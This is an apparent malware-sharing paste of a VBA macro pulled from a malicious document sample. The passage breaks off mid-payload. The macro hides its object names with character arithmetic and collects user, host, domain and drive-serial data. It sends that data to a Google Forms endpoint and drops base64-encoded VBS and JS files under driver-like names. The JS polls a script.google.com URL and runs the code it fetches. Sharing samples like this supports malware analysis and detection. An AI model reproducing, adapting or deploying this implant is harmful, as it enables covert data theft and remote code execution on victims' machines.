SHOW:
|
|
- or go back to the newest paste.
| 1 | ## uploaded by @JohnLaTwc | |
| 2 | ## original sample hash: 111fc266692af396a0db176c49455acef907bb6d16715f5a6a3517362e218658 | |
| 3 | ===== macro =================================================================== | |
| 4 | Function AL8vhpb5hk3w(AO3opbjnrp9) | |
| 5 | Dim AM1wg7xyr, AN9vxh3lbsda | |
| 6 | Set AM1wg7xyr = CreateObject((Chr(-57 + 134) & Chr(-21 + 136) & Chr(-26 + 146) & Chr(83 + 26) & Chr(-76 + 184) & Chr(91 + -41) & Chr(32 + 14) & Chr(15 + 53) & Chr(-16 + 95) & Chr(-69 + 146) & Chr(20 + 48) & Chr(-81 + 192) & Chr(97 + 2) & Chr(29 + 88) & Chr(23 + 86) & Chr(26 + 75) & Chr(-28 + 138) & Chr(-5 + 121) & Chr(54 + -8) & Chr(10 + 41) & Chr(74 + -28) & Chr(45 + 3))) | |
| 7 | Set AN9vxh3lbsda = AM1wg7xyr.CreateElement((Chr(-90 + 188) & Chr(52 + 45) & Chr(7 + 108) & Chr(-17 + 118) & Chr(-53 + 107) & Chr(0 + 52))) | |
| 8 | AN9vxh3lbsda.dataType = (Chr(-91 + 189) & Chr(-44 + 149) & Chr(-63 + 173) & Chr(61 + -15) & Chr(-85 + 183) & Chr(5 + 92) & Chr(28 + 87) & Chr(100 + 1) & Chr(100 + -46) & Chr(34 + 18)) | |
| 9 | AN9vxh3lbsda.nodeTypedValue = AR4ql6nqd(AO3opbjnrp9) | |
| 10 | AL8vhpb5hk3w = AN9vxh3lbsda.Text | |
| 11 | Set AN9vxh3lbsda = Nothing | |
| 12 | Set AM1wg7xyr = Nothing | |
| 13 | End Function | |
| 14 | ||
| 15 | Function AP6fuezipn4(ByVal AQ4ilbevk2j) | |
| 16 | Dim AM1wg7xyr, AN9vxh3lbsda | |
| 17 | Set AM1wg7xyr = CreateObject((Chr(10 + 67) & Chr(85 + 30) & Chr(85 + 35) & Chr(-97 + 206) & Chr(-64 + 172) & Chr(61 + -11) & Chr(-42 + 88) & Chr(-77 + 145) & Chr(-93 + 172) & Chr(-52 + 129) & Chr(39 + 29) & Chr(87 + 24) & Chr(-70 + 169) & Chr(-33 + 150) & Chr(12 + 97) & Chr(-13 + 114) & Chr(33 + 77) & Chr(-22 + 138) & Chr(-65 + 111) & Chr(27 + 24) & Chr(68 + -22) & Chr(71 + -23))) | |
| 18 | Set AN9vxh3lbsda = AM1wg7xyr.CreateElement((Chr(5 + 93) & Chr(-68 + 165) & Chr(51 + 64) & Chr(92 + 9) & Chr(-100 + 154) & Chr(46 + 6))) | |
| 19 | AN9vxh3lbsda.dataType = (Chr(67 + 31) & Chr(-17 + 122) & Chr(4 + 106) & Chr(-51 + 97) & Chr(-9 + 107) & Chr(78 + 19) & Chr(97 + 18) & Chr(-27 + 128) & Chr(48 + 6) & Chr(54 + -2)) | |
| 20 | AN9vxh3lbsda.Text = AQ4ilbevk2j | |
| 21 | If AQ4ilbevk2j = "" Then | |
| 22 | AP6fuezipn4 = "" | |
| 23 | Else | |
| 24 | AP6fuezipn4 = AV0kftndmk(AN9vxh3lbsda.nodeTypedValue) | |
| 25 | End If | |
| 26 | Set AN9vxh3lbsda = Nothing | |
| 27 | Set AM1wg7xyr = Nothing | |
| 28 | End Function | |
| 29 | ||
| 30 | Function AR4ql6nqd(Text) | |
| 31 | Const AS9fvfrob = 2 | |
| 32 | Const AT6yshkqzy = 1 | |
| 33 | Dim AU3sjrvsqt3j | |
| 34 | Set AU3sjrvsqt3j = CreateObject((Chr(-94 + 159) & Chr(3 + 65) & Chr(-12 + 91) & Chr(60 + 8) & Chr(-85 + 151) & Chr(38 + 8) & Chr(-2 + 85) & Chr(20 + 96) & Chr(68 + 46) & Chr(83 + 18) & Chr(-71 + 168) & Chr(62 + 47))) | |
| 35 | AU3sjrvsqt3j.Type = AS9fvfrob | |
| 36 | AU3sjrvsqt3j.Charset = (Chr(17 + 100) & Chr(56 + 59) & Chr(71 + -26) & Chr(-16 + 113) & Chr(-88 + 203) & Chr(-14 + 113) & Chr(48 + 57) & Chr(-19 + 124)) | |
| 37 | AU3sjrvsqt3j.Open | |
| 38 | AU3sjrvsqt3j.WriteText Text | |
| 39 | AU3sjrvsqt3j.Position = 0 | |
| 40 | AU3sjrvsqt3j.Type = AT6yshkqzy | |
| 41 | AU3sjrvsqt3j.Position = 0 | |
| 42 | AR4ql6nqd = AU3sjrvsqt3j.Read | |
| 43 | Set AU3sjrvsqt3j = Nothing | |
| 44 | End Function | |
| 45 | ||
| 46 | Function AV0kftndmk(Binary) | |
| 47 | Const AS9fvfrob = 2 | |
| 48 | Const AT6yshkqzy = 1 | |
| 49 | Dim AU3sjrvsqt3j | |
| 50 | Set AU3sjrvsqt3j = CreateObject((Chr(-6 + 71) & Chr(89 + -21) & Chr(52 + 27) & Chr(61 + 7) & Chr(39 + 27) & Chr(-9 + 55) & Chr(56 + 27) & Chr(-52 + 168) & Chr(39 + 75) & Chr(5 + 96) & Chr(57 + 40) & Chr(22 + 87))) | |
| 51 | AU3sjrvsqt3j.Type = AT6yshkqzy | |
| 52 | AU3sjrvsqt3j.Open | |
| 53 | AU3sjrvsqt3j.Write Binary | |
| 54 | AU3sjrvsqt3j.Position = 0 | |
| 55 | AU3sjrvsqt3j.Type = AS9fvfrob | |
| 56 | AU3sjrvsqt3j.Charset = (Chr(8 + 109) & Chr(-23 + 138) & Chr(1 + 44) & Chr(-78 + 175) & Chr(39 + 76) & Chr(-16 + 115) & Chr(-80 + 185) & Chr(92 + 13)) | |
| 57 | AV0kftndmk = AU3sjrvsqt3j.ReadText | |
| 58 | Set AU3sjrvsqt3j = Nothing | |
| 59 | End Function | |
| 60 | ||
| 61 | ||
| 62 | ||
| 63 | ||
| 64 | ||
| 65 | ||
| 66 | Function getOS() As String | |
| 67 | On Error Resume Next | |
| 68 | Dim OS | |
| 69 | For Each OS In GetObject("winmgmts:").InstancesOf("Win32_OperatingSystem")
| |
| 70 | getOS = OS.Caption | |
| 71 | Next OS | |
| 72 | Set OS = Nothing | |
| 73 | End Function | |
| 74 | ||
| 75 | Public Function IsWin32OrWin64() As String | |
| 76 | On Error Resume Next | |
| 77 | Dim proc_query As String | |
| 78 | Dim proc_results As Object | |
| 79 | Dim info As Object | |
| 80 | ||
| 81 | proc_query = "SELECT * FROM Win32_Processor" | |
| 82 | Set proc_results = GetObject("Winmgmts:").ExecQuery(proc_query)
| |
| 83 | For Each info In proc_results | |
| 84 | IsWin32OrWin64 = info.AddressWidth & "-bit" | |
| 85 | Next info | |
| 86 | End Function | |
| 87 | ||
| 88 | Function clearStr(Value As String) As String | |
| 89 | On Error Resume Next | |
| 90 | Dim RE As Object | |
| 91 | Set RE = CreateObject("VBScript.RegExp")
| |
| 92 | RE.ignoreCase = True | |
| 93 | RE.Global = True | |
| 94 | RE.Pattern = "[^\w]+" | |
| 95 | clearStr = RE.Replace(Value, "") | |
| 96 | End Function | |
| 97 | Function cuid() As String | |
| 98 | On Error Resume Next | |
| 99 | Dim giac: giac = "1" | |
| 100 | Dim uuid: uuid = "1" | |
| 101 | ||
| 102 | Dim FSO, D, Serial | |
| 103 | Set FSO = CreateObject("Scripting.FileSystemObject")
| |
| 104 | strDrive = FSO.GetDriveName(FSO.GetSpecialFolder(0)) | |
| 105 | Set D = FSO.GetDrive(strDrive) | |
| 106 | Serial = D.SerialNumber | |
| 107 | ||
| 108 | Dim result As String | |
| 109 | result = AL8vhpb5hk3w("" & Serial)
| |
| 110 | result = Mid(clearStr(result), 1, 20) | |
| 111 | cuid = uuid & "." & giac & "." & result | |
| 112 | End Function | |
| 113 | ||
| 114 | Function GetUserData() As String | |
| 115 | On Error Resume Next | |
| 116 | GetUserData = "UserName: " & Environ$("USERNAME") _
| |
| 117 | & " | " & "ComputerName: " & Environ$("COMPUTERNAME") _
| |
| 118 | & " | " & "UserDomain: " & Environ$("USERDOMAIN")
| |
| 119 | End Function | |
| 120 | ||
| 121 | Function sendFormData(Value As String) As Boolean | |
| 122 | Dim formkey: formkey = "1F1zY2cODJxkCCorfv42kif4mxDsZ__BpXourgrkCtyo" | |
| 123 | Dim entry: entry = "entry.766326787" | |
| 124 | Dim rc As Variant | |
| 125 | On Error Resume Next | |
| 126 | Dim HttpRequest As Object | |
| 127 | Set HttpRequest = CreateObject("MSXML2.XMLHTTP")
| |
| 128 | If Err.Number <> 0 Then | |
| 129 | sendFormData = False | |
| 130 | Set HttpRequest = Nothing | |
| 131 | Exit Function | |
| 132 | End If | |
| 133 | On Error GoTo EndNow | |
| 134 | HttpRequest.Open "POST", "https://docs.google.com/forms/d/" & formkey & "/formResponse", False | |
| 135 | HttpRequest.setRequestHeader "Content-Type", "application/x-www-form-urlencoded" | |
| 136 | HttpRequest.Send (entry & "=" & Value) | |
| 137 | If HttpRequest.ReadyState <> 4 Then | |
| 138 | HttpRequest.WaitForResponse 30 | |
| 139 | End If | |
| 140 | rc = HttpRequest.StatusText | |
| 141 | If rc = "OK" Then | |
| 142 | sendFormData = True | |
| 143 | Else | |
| 144 | sendFormData = False | |
| 145 | End If | |
| 146 | EndNow: | |
| 147 | Set HttpRequest = Nothing | |
| 148 | End Function | |
| 149 | ||
| 150 | Function CreateDir(YourPath As String) As Boolean | |
| 151 | On Error GoTo EndNow | |
| 152 | If Dir(YourPath, vbDirectory) = "" Then | |
| 153 | MkDir (YourPath) | |
| 154 | End If | |
| 155 | CreateDir = True | |
| 156 | Exit Function | |
| 157 | EndNow: | |
| 158 | CreateDir = False | |
| 159 | End Function | |
| 160 | ||
| 161 | Sub folderInit() | |
| 162 | On Error Resume Next | |
| 163 | Set sh = CreateObject("WScript.Shell")
| |
| 164 | Dim FileNumber, figName | |
| 165 | Dim WorkPath As String | |
| 166 | WorkPath = sh.ExpandEnvironmentStrings("%ALLUSERSPROFILE%")
| |
| 167 | WorkPath = WorkPath & "\TransbaseOdbcDriver" | |
| 168 | Dim statMkDir As Boolean | |
| 169 | statMkDir = CreateDir(WorkPath) | |
| 170 | If statMkDir Then | |
| 171 | FileNumber = FreeFile | |
| 172 | figName = WorkPath & "\LanCradDriver.ini" | |
| 173 | Open figName For Output As #FileNumber | |
| 174 | Close #FileNumber | |
| 175 | End If | |
| 176 | End Sub | |
| 177 | ||
| 178 | Sub ggl_runer() | |
| 179 | On Error Resume Next | |
| 180 | Dim f: f = "RGltIG9iakZTTywgb2JqU2hlbGwsIHN0ckZpbGUsIFJlYWRBbGxUZXh0RmlsZQ0KU2V0IG9iakZT" | |
| 181 | f = f & "TyA9IENyZWF0ZU9iamVjdCgiU2NyaXB0aW5nLkZpbGVTeXN0ZW1PYmplY3QiKQ0KU2V0IG9ialNo" | |
| 182 | f = f & "ZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoICJXU2NyaXB0LlNoZWxsIiApDQpzdHJGaWxlID0g" | |
| 183 | f = f & "b2JqU2hlbGwuRXhwYW5kRW52aXJvbm1lbnRTdHJpbmdzKCIlQUxMVVNFUlNQUk9GSUxFJVxUcmFu" | |
| 184 | f = f & "c2Jhc2VPZGJjRHJpdmVyXExhbkNyYWREcml2ZXIuaW5pIikNClNldCBvYmpGaWxlID0gb2JqRlNP" | |
| 185 | f = f & "Lk9wZW5UZXh0RmlsZShzdHJGaWxlLDEsZmFsc2UsLTEpDQpJZiBvYmpGaWxlLkF0RW5kT2ZTdHJl" | |
| 186 | f = f & "YW0gVGhlbg0KCVJlYWRBbGxUZXh0RmlsZSA9ICIiDQpFbHNlDQoJUmVhZEFsbFRleHRGaWxlID0g" | |
| 187 | f = f & "b2JqRmlsZS5SZWFkQWxsDQpFbmQgSWYNCm9iakZpbGUuQ2xvc2UNCkV4ZWN1dGVHbG9iYWwgUmVh" | |
| 188 | f = f & "ZEFsbFRleHRGaWxl" | |
| 189 | ||
| 190 | Set sh = CreateObject("WScript.Shell")
| |
| 191 | Dim FileNumber, figName | |
| 192 | Dim WorkPath As String | |
| 193 | WorkPath = sh.ExpandEnvironmentStrings("%ALLUSERSPROFILE%")
| |
| 194 | WorkPath = WorkPath & "\TransbaseOdbcDriver" | |
| 195 | Dim statMkDir As Boolean | |
| 196 | statMkDir = CreateDir(WorkPath) | |
| 197 | If statMkDir Then | |
| 198 | FileNumber = FreeFile | |
| 199 | figName = WorkPath & "\LanCradDriver.vbs" | |
| 200 | Open figName For Output As #FileNumber | |
| 201 | Print #FileNumber, AP6fuezipn4(f) | |
| 202 | Close #FileNumber | |
| 203 | End If | |
| 204 | End Sub | |
| 205 | ||
| 206 | Sub ggl_starter() | |
| 207 | On Error Resume Next | |
| 208 | Dim f: f = "RGltIG9ialNoZWxsLHBhdGgNClNldCBvYmpTaGVsbCA9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCAi" | |
| 209 | f = f & "V1NjcmlwdC5TaGVsbCIgKQ0KcGF0aCA9IG9ialNoZWxsLkV4cGFuZEVudmlyb25tZW50U3RyaW5n" | |
| 210 | f = f & "cygiJUFMTFVTRVJTUFJPRklMRSVcVHJhbnNiYXNlT2RiY0RyaXZlclxUcmFuc2Jhc2VPZGJjRHJp" | |
| 211 | f = f & "dmVyLmpzIikNCnBhdGggPSAiY21kLmV4ZSAvayB3c2NyaXB0LmV4ZSAiIiIgJiBwYXRoICYgIiIi" | |
| 212 | f = f & "Ig0Kb2JqU2hlbGwuUnVuIHBhdGgsIDAsIHRydWUgDQpTZXQgb2JqU2hlbGwgPSBOb3RoaW5n" | |
| 213 | Set sh = CreateObject("WScript.Shell")
| |
| 214 | Dim FileNumber, figName | |
| 215 | Dim WorkPath As String | |
| 216 | WorkPath = sh.ExpandEnvironmentStrings("%ALLUSERSPROFILE%")
| |
| 217 | WorkPath = WorkPath & "\TransbaseOdbcDriver" | |
| 218 | Dim statMkDir As Boolean | |
| 219 | statMkDir = CreateDir(WorkPath) | |
| 220 | If statMkDir Then | |
| 221 | FileNumber = FreeFile | |
| 222 | figName = WorkPath & "\starter.vbs" | |
| 223 | Open figName For Output As #FileNumber | |
| 224 | Print #FileNumber, AP6fuezipn4(f) | |
| 225 | Close #FileNumber | |
| 226 | End If | |
| 227 | End Sub | |
| 228 | ||
| 229 | Public Sub ggl_hex() | |
| 230 | On Error Resume Next | |
| 231 | Dim f: f = "dmFyIG9ialNXYmVtU2VydmljZXNFeCA9IEdldE9iamVjdCgid2lubWdtdHM6e2ltcGVyc29uYXR" | |
| 232 | f = f & "pb25MZXZlbD1pbXBlcnNvbmF0ZX0hXFxcXC5cXHJvb3RcXGNpbXYyIik7DQp2YXIgY29sbFNXYm" | |
| 233 | f = f & "VtT2JqZWN0U2V0ID0gb2JqU1diZW1TZXJ2aWNlc0V4LkV4ZWNRdWVyeSggIlNFTEVDVCBOYW1lL" | |
| 234 | f = f & "CBDb21tYW5kTGluZSwgUHJvY2Vzc0lEIEZST00gV2luMzJfUHJvY2VzcyBXSEVSRSBOYW1lIExJ" | |
| 235 | f = f & "S0UgJyVbY3ddc2NyaXB0LmV4ZScgQU5EIENvbW1hbmRMaW5lIExJS0UgJyVbY3ddc2NyaXB0JSI" | |
| 236 | f = f & "gKyBXU2NyaXB0LlNjcmlwdE5hbWUgKyAiJSciLCAiV1FMIiwgMCk7DQppZihjb2xsU1diZW1PYm" | |
| 237 | f = f & "plY3RTZXQuQ291bnQgPiAxKXsgV1NjcmlwdC5RdWl0KCk7IH0NCg0KdmFyIEJhc2U2NCA9IHsNC" | |
| 238 | f = f & "iANCiAgLy8gcHJpdmF0ZSBwcm9wZXJ0eQ0KICBfa2V5U3RyOiAiQUJDREVGR0hJSktMTU5PUFFS" | |
| 239 | f = f & "U1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLz0iLA0KIA0KICA" | |
| 240 | f = f & "vLyBwdWJsaWMgbWV0aG9kIGZvciBlbmNvZGluZw0KICBlbmNvZGU6IGZ1bmN0aW9uIChpbnB1dC" | |
| 241 | f = f & "kgew0KICAgIHZhciBvdXRwdXQgPSAiIjsNCiAgICB2YXIgY2hyMSwgY2hyMiwgY2hyMywgZW5jM" | |
| 242 | f = f & "SwgZW5jMiwgZW5jMywgZW5jNDsNCiAgICB2YXIgaSA9IDA7DQogDQogICAgaW5wdXQgPSBCYXNl" | |
| 243 | f = f & "NjQuX3V0ZjhfZW5jb2RlKGlucHV0KTsNCiANCiAgICB3aGlsZSAoaSA8IGlucHV0Lmxlbmd0aCk" | |
| 244 | f = f & "gew0KIA0KICAgICAgY2hyMSA9IGlucHV0LmNoYXJDb2RlQXQoaSsrKTsNCiAgICAgIGNocjIgPS" | |
| 245 | f = f & "BpbnB1dC5jaGFyQ29kZUF0KGkrKyk7DQogICAgICBjaHIzID0gaW5wdXQuY2hhckNvZGVBdChpK" | |
| 246 | f = f & "yspOw0KIA0KICAgICAgZW5jMSA9IGNocjEgPj4gMjsNCiAgICAgIGVuYzIgPSAoKGNocjEgJiAz" | |
| 247 | f = f & "KSA8PCA0KSB8IChjaHIyID4+IDQpOw0KICAgICAgZW5jMyA9ICgoY2hyMiAmIDE1KSA8PCAyKSB" | |
| 248 | f = f & "8IChjaHIzID4+IDYpOw0KICAgICAgZW5jNCA9IGNocjMgJiA2MzsNCiANCiAgICAgIGlmIChpc0" | |
| 249 | f = f & "5hTihjaHIyKSkgew0KICAgICAgICBlbmMzID0gZW5jNCA9IDY0Ow0KICAgICAgfSBlbHNlIGlmI" | |
| 250 | f = f & "Chpc05hTihjaHIzKSkgew0KICAgICAgICBlbmM0ID0gNjQ7DQogICAgICB9DQogDQogICAgICBv" | |
| 251 | f = f & "dXRwdXQgPSBvdXRwdXQgKyB0aGlzLl9rZXlTdHIuY2hhckF0KGVuYzEpICsgdGhpcy5fa2V5U3R" | |
| 252 | f = f & "yLmNoYXJBdChlbmMyKSArIHRoaXMuX2tleVN0ci5jaGFyQXQoZW5jMykgKyB0aGlzLl9rZXlTdH" | |
| 253 | f = f & "IuY2hhckF0KGVuYzQpOw0KIA0KICAgIH0NCiANCiAgICByZXR1cm4gb3V0cHV0Ow0KICB9LA0KI" | |
| 254 | f = f & "A0KICAvLyBwdWJsaWMgbWV0aG9kIGZvciBkZWNvZGluZw0KICBkZWNvZGU6IGZ1bmN0aW9uIChp" | |
| 255 | f = f & "bnB1dCkgew0KICAgIHZhciBvdXRwdXQgPSAiIjsNCiAgICB2YXIgY2hyMSwgY2hyMiwgY2hyMzs" | |
| 256 | f = f & "NCiAgICB2YXIgZW5jMSwgZW5jMiwgZW5jMywgZW5jNDsNCiAgICB2YXIgaSA9IDA7DQogDQogIC" | |
| 257 | f = f & "AgaW5wdXQgPSBpbnB1dC5yZXBsYWNlKC9bXkEtWmEtejAtOVwrXC9cPV0vZywgIiIpOw0KIA0KI" | |
| 258 | f = f & "CAgIHdoaWxlIChpIDwgaW5wdXQubGVuZ3RoKSB7DQogDQogICAgICBlbmMxID0gdGhpcy5fa2V5" | |
| 259 | f = f & "U3RyLmluZGV4T2YoaW5wdXQuY2hhckF0KGkrKykpOw0KICAgICAgZW5jMiA9IHRoaXMuX2tleVN" | |
| 260 | f = f & "0ci5pbmRleE9mKGlucHV0LmNoYXJBdChpKyspKTsNCiAgICAgIGVuYzMgPSB0aGlzLl9rZXlTdH" | |
| 261 | f = f & "IuaW5kZXhPZihpbnB1dC5jaGFyQXQoaSsrKSk7DQogICAgICBlbmM0ID0gdGhpcy5fa2V5U3RyL" | |
| 262 | f = f & "mluZGV4T2YoaW5wdXQuY2hhckF0KGkrKykpOw0KIA0KICAgICAgY2hyMSA9IChlbmMxIDw8IDIp" | |
| 263 | f = f & "IHwgKGVuYzIgPj4gNCk7DQogICAgICBjaHIyID0gKChlbmMyICYgMTUpIDw8IDQpIHwgKGVuYzM" | |
| 264 | f = f & "gPj4gMik7DQogICAgICBjaHIzID0gKChlbmMzICYgMykgPDwgNikgfCBlbmM0Ow0KIA0KICAgIC" | |
| 265 | f = f & "Agb3V0cHV0ID0gb3V0cHV0ICsgU3RyaW5nLmZyb21DaGFyQ29kZShjaHIxKTsNCiANCiAgICAgI" | |
| 266 | f = f & "GlmIChlbmMzICE9IDY0KSB7DQogICAgICAgIG91dHB1dCA9IG91dHB1dCArIFN0cmluZy5mcm9t" | |
| 267 | f = f & "Q2hhckNvZGUoY2hyMik7DQogICAgICB9DQogICAgICBpZiAoZW5jNCAhPSA2NCkgew0KICAgICA" | |
| 268 | f = f & "gICBvdXRwdXQgPSBvdXRwdXQgKyBTdHJpbmcuZnJvbUNoYXJDb2RlKGNocjMpOw0KICAgICAgfQ" | |
| 269 | f = f & "0KIA0KICAgIH0NCiANCiAgICBvdXRwdXQgPSBCYXNlNjQuX3V0ZjhfZGVjb2RlKG91dHB1dCk7D" | |
| 270 | f = f & "QogDQogICAgcmV0dXJuIG91dHB1dDsNCiANCiAgfSwNCiANCiAgLy8gcHJpdmF0ZSBtZXRob2Qg" | |
| 271 | f = f & "Zm9yIFVURi04IGVuY29kaW5nDQogIF91dGY4X2VuY29kZTogZnVuY3Rpb24gKHN0cmluZykgew0" | |
| 272 | f = f & "KICAgIHN0cmluZyA9IHN0cmluZy5yZXBsYWNlKC9cclxuL2csICJcbiIpOw0KICAgIHZhciB1dG" | |
| 273 | f = f & "Z0ZXh0ID0gIiI7DQogDQogICAgZm9yICh2YXIgbiA9IDA7IG4gPCBzdHJpbmcubGVuZ3RoOyBuK" | |
| 274 | f = f & "yspIHsNCiANCiAgICAgIHZhciBjID0gc3RyaW5nLmNoYXJDb2RlQXQobik7DQogDQogICAgICBp" | |
| 275 | f = f & "ZiAoYyA8IDEyOCkgew0KICAgICAgICB1dGZ0ZXh0ICs9IFN0cmluZy5mcm9tQ2hhckNvZGUoYyk" | |
| 276 | f = f & "7DQogICAgICB9IGVsc2UgaWYgKChjID4gMTI3KSAmJiAoYyA8IDIwNDgpKSB7DQogICAgICAgIH" | |
| 277 | f = f & "V0ZnRleHQgKz0gU3RyaW5nLmZyb21DaGFyQ29kZSgoYyA+PiA2KSB8IDE5Mik7DQogICAgICAgI" | |
| 278 | f = f & "HV0ZnRleHQgKz0gU3RyaW5nLmZyb21DaGFyQ29kZSgoYyAmIDYzKSB8IDEyOCk7DQogICAgICB9" | |
| 279 | f = f & "IGVsc2Ugew0KICAgICAgICB1dGZ0ZXh0ICs9IFN0cmluZy5mcm9tQ2hhckNvZGUoKGMgPj4gMTI" | |
| 280 | f = f & "pIHwgMjI0KTsNCiAgICAgICAgdXRmdGV4dCArPSBTdHJpbmcuZnJvbUNoYXJDb2RlKCgoYyA+Pi" | |
| 281 | f = f & "A2KSAmIDYzKSB8IDEyOCk7DQogICAgICAgIHV0ZnRleHQgKz0gU3RyaW5nLmZyb21DaGFyQ29kZ" | |
| 282 | f = f & "SgoYyAmIDYzKSB8IDEyOCk7DQogICAgICB9DQogDQogICAgfQ0KIA0KICAgIHJldHVybiB1dGZ0" | |
| 283 | f = f & "ZXh0Ow0KICB9LA0KIA0KICAvLyBwcml2YXRlIG1ldGhvZCBmb3IgVVRGLTggZGVjb2RpbmcNCiA" | |
| 284 | f = f & "gX3V0ZjhfZGVjb2RlOiBmdW5jdGlvbiAodXRmdGV4dCkgew0KICAgIHZhciBzdHJpbmcgPSAiIj" | |
| 285 | f = f & "sNCiAgICB2YXIgaSA9IDA7DQogICAgdmFyIGMgPSBjMSA9IGMyID0gMDsNCiANCiAgICB3aGlsZ" | |
| 286 | f = f & "SAoaSA8IHV0ZnRleHQubGVuZ3RoKSB7DQogDQogICAgICBjID0gdXRmdGV4dC5jaGFyQ29kZUF0" | |
| 287 | f = f & "KGkpOw0KIA0KICAgICAgaWYgKGMgPCAxMjgpIHsNCiAgICAgICAgc3RyaW5nICs9IFN0cmluZy5" | |
| 288 | f = f & "mcm9tQ2hhckNvZGUoYyk7DQogICAgICAgIGkrKzsNCiAgICAgIH0gZWxzZSBpZiAoKGMgPiAxOT" | |
| 289 | f = f & "EpICYmIChjIDwgMjI0KSkgew0KICAgICAgICBjMiA9IHV0ZnRleHQuY2hhckNvZGVBdChpICsgM" | |
| 290 | f = f & "Sk7DQogICAgICAgIHN0cmluZyArPSBTdHJpbmcuZnJvbUNoYXJDb2RlKCgoYyAmIDMxKSA8PCA2" | |
| 291 | f = f & "KSB8IChjMiAmIDYzKSk7DQogICAgICAgIGkgKz0gMjsNCiAgICAgIH0gZWxzZSB7DQogICAgICA" | |
| 292 | f = f & "gIGMyID0gdXRmdGV4dC5jaGFyQ29kZUF0KGkgKyAxKTsNCiAgICAgICAgYzMgPSB1dGZ0ZXh0Lm" | |
| 293 | f = f & "NoYXJDb2RlQXQoaSArIDIpOw0KICAgICAgICBzdHJpbmcgKz0gU3RyaW5nLmZyb21DaGFyQ29kZ" | |
| 294 | f = f & "SgoKGMgJiAxNSkgPDwgMTIpIHwgKChjMiAmIDYzKSA8PCA2KSB8IChjMyAmIDYzKSk7DQogICAg" | |
| 295 | f = f & "ICAgIGkgKz0gMzsNCiAgICAgIH0NCiANCiAgICB9DQogDQogICAgcmV0dXJuIHN0cmluZzsNCiA" | |
| 296 | f = f & "gfQ0KfQ0KDQppZighQ3JlYXRlRGlyKCkpV1NjcmlwdC5RdWl0KCk7DQoNCnZhciBnaWFjID0gIj" | |
| 297 | f = f & "EiOw0KdmFyIHV1aWQgPSAiMSI7DQp2YXIgZ3VpZCA9IENVSUQoKTsNCgkNCnZhciBzZXR0dGluZ" | |
| 298 | f = f & "0FyciA9IGZhbHNlOw0KDQpkbyB7DQoJDQoJaWYgKCBzZXR0dGluZ0FyciApIHsNCgkgICAgR2V0" | |
| 299 | f = f & "U291cmNlQ29kZShzZXR0dGluZ0Fyci5zcHJlYWRzaGVldGtleSwgc2V0dHRpbmdBcnIuZm9ybWt" | |
| 300 | f = f & "leSwgc2V0dHRpbmdBcnIuZW50cnkpOw0KCX1lbHNlew0KCQlzZXR0dGluZ0FyciA9IExvYWRMaW" | |
| 301 | f = f & "5rU2V0dGluZ3MoKTsJDQoJfQ0KCVdTY3JpcHQuU2xlZXAoMTAwMCo2MCpyYW5kSW50KDEsMikpO" | |
| 302 | f = f & "w0KfQ0Kd2hpbGUgKDEpOw0KZnVuY3Rpb24gcmFuZEludChtaW4sIG1heCl7DQogIHJldHVybiBN" | |
| 303 | f = f & "YXRoLnJvdW5kKE1hdGgucmFuZG9tKCkqKG1heC1taW4pK21pbik7DQp9DQoNCmZ1bmN0aW9uIEx" | |
| 304 | f = f & "vYWRMaW5rU2V0dGluZ3MoKSB7DQoJdmFyIGdvX2NvbSA9IEluZXRSZWFkKCJodHRwczovL3Njcm" | |
| 305 | f = f & "lwdC5nb29nbGUuY29tL21hY3Jvcy9zL0FLZnljYnpvSURyU3RTZWI1aUptd3N4R1pCdm9jc3c0Z" | |
| 306 | f = f & "GEyRlp3MF9mcU9rUkFnd3pIN2gyYUUvZXhlYyIrICI/YmlkPSIgKyBndWlkKTsNCgl0cnkgew0K" | |
| 307 | f = f & "CQlpZiggZ29fY29tWydzdGF0J10gPj0gMjAwICYmICBnb19jb21bJ3N0YXQnXSA8IDMwMCl7DQo" | |
| 308 | f = f & "JCQl2YXIgY21kX3R4dCA9IGdvX2NvbVsndGV4dCddOw0KCQkJdmFyIHNldHRpbmdzQXJyID0gY2" | |
| 309 | f = f & "1kX3R4dC5tYXRjaCggLyxcXHgyMnVzZXJIdG1sXFx4MjI6XFx4MjIoLispXFx4MjIsXFx4MjJuY" | |
| 310 | f = f & "2MvICk7DQoJCQl2YXIgc2V0dGluZyA9IHNwbGl0KHNldHRpbmdzQXJyWzFdLCckJCQnLDMpOw0K" | |
| 311 | f = f & "CQkJaWYgKHNldHRpbmcubGVuZ3RoID09IDMpIHsgDQoJCQkJcmV0dXJuIHsNCgkJCQkJICJzcHJ" | |
| 312 | f = f & "lYWRzaGVldGtleSI6IHNldHRpbmdbMF0NCgkJCQkJLCJmb3Jta2V5Ijogc2V0dGluZ1sxXQ0KCQ" | |
| 313 | f = f & "kJCQksImVudHJ5Ijogc2V0dGluZ1syXSANCgkJCQl9OwkJDQoJCQl9DQoJCQl2YXIgZm9ybWtle" | |
| 314 | f = f & "VJlZyA9ICIxQlp1UDNWWVFqTEFJNTlEcF9POXZDSDFrZ19nUU52aEl2di1Ca21wQlRaNCI7DQoJ" | |
| 315 | f = f & "CQl2YXIgZW50cnlSZWcgPSAiZW50cnkuMjAyNTg4NTkzMiI7DQoJCQlMb2dJbmV0KGd1aWQsZm9" | |
| 316 | f = f & "ybWtleVJlZyxlbnRyeVJlZyk7CQkJDQoJCX0NCgl9IGNhdGNoIChlKSB7fQ0KCXJldHVybiBmYW" | |
| 317 | f = f & "xzZTsJDQp9CQkNCg0KZnVuY3Rpb24gR2V0U291cmNlQ29kZShhc3ByZWFkc2hlZXRrZXksYWZvc" | |
| 318 | f = f & "m1rZXksYWVudHJ5KSB7DQoNCiAgICAgICAgdmFyIEdsb2JhbE9iamVjdCA9IHRoaXM7DQogICAg" | |
| 319 | f = f & "ICAgIHZhciBGU08gPSBuZXcgQWN0aXZlWE9iamVjdCgiU2NyaXB0aW5nLkZpbGVTeXN0ZW1PYmp" | |
| 320 | f = f & "lY3QiKTsNCiAgICAgICAgdmFyIFdzaFNoZWxsID0gbmV3IEFjdGl2ZVhPYmplY3QoIldTY3JpcH" | |
| 321 | f = f & "QuU2hlbGwiKTsNCgkJDQogICAgICAgIHZhciBmb3Jta2V5ID0gYWZvcm1rZXk7DQoJCXZhciBlb" | |
| 322 | f = f & "nRyeSA9IGFlbnRyeTsNCiAgICAgICAgdmFyIHNwcmVhZHNoZWV0a2V5ID0gYXNwcmVhZHNoZWV0" | |
